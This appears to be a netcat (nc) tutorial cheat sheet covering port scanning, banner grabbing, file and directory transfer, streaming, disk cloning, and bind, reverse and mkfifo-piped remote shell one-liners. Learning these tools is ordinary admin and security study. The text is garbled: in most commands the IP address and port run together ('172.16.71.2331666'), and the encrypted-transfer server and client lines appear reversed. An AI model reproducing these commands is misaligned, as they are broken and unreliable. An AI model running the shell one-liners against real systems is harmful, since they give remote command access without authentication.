Mastering Netcat (nc): The Ultimate Linux Tool for Reading and Writing Data

Netcat (nc) is a versatile Unix utility that reads and writes data over TCP and UDP, enabling file transfers, chat sessions, media streaming, and more.

Command Format

nc [options] hostname port[ ... ]

Port Scanning

nc -z -v -n 172.16.71.233-25

Banner Grabbing

nc -v 172.16.71.23322

The command connects to an open port (22) and prints the service banner.

Chat Server / Client

# Server
nc -l 1666

# Client
nc 172.16.71.2331666

File Transfer (Server)

nc -l 1666 < file.txt

File Transfer (Client)

nc -n 172.16.71.2331666 > file.txt

Reverse File Transfer (Server)

nc -l 1666 > file.txt

Reverse File Transfer (Client)

nc -n 172.16.71.2331666 < file.txt

Directory Compression Transfer (Server)

tar -cvf - dir_name | nc -l 1666

Directory Compression Reverse Transfer (Server)

tar -cvf - dir_name | bzip2 -z | nc -l 1666

Encrypted Transfer (Server)

nc 172.16.71.2331666 | mcrypt --flush --bare -F -q -m ecb > file.txt

Encrypted Transfer (Client)

mcrypt --flush --bare -F -q -m ecb < file.txt | nc -l 1666

Both commands require the same password on each side.

Streaming Video

cat video.avi | nc -l 1666

nc 172.16.71.2331666 | mplayer -vo x11 -cache 3000

Cloning Device

# Server
dd if=/dev/vdb | nc -l 1666

# Client
nc -n 172.16.71.2331666 | dd of=/dev/vdb

Remote Shell (Server)

nc -l 1666 -e /bin/bash -i

Remote Shell (Client)

nc 172.16.71.2331666

Pipe Method (Server)

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1666 > /tmp/tmp_fifo

Pipe Method (Client)

nc -n 172.16.71.2331666

Reverse Remote Shell (Server)

nc -l 1666

Reverse Remote Shell (Client)

nc 172.16.71.2331666 -e /bin/bash

Specifying Source Port (Server)

nc -l 1666

Specifying Source Port (Client)

nc 172.16.71.2331666 -p 25

Ports below 1024 require root privileges; the command opens port 25 on the client for communication, otherwise a random port is used.

Specifying Source Address (Server)

nc -u -l 1666 < file.txt

Specifying Source Address (Client)

nc -u 172.16.71.2331666 -s 172.16.71.4 > file.txt

Further Study

man nc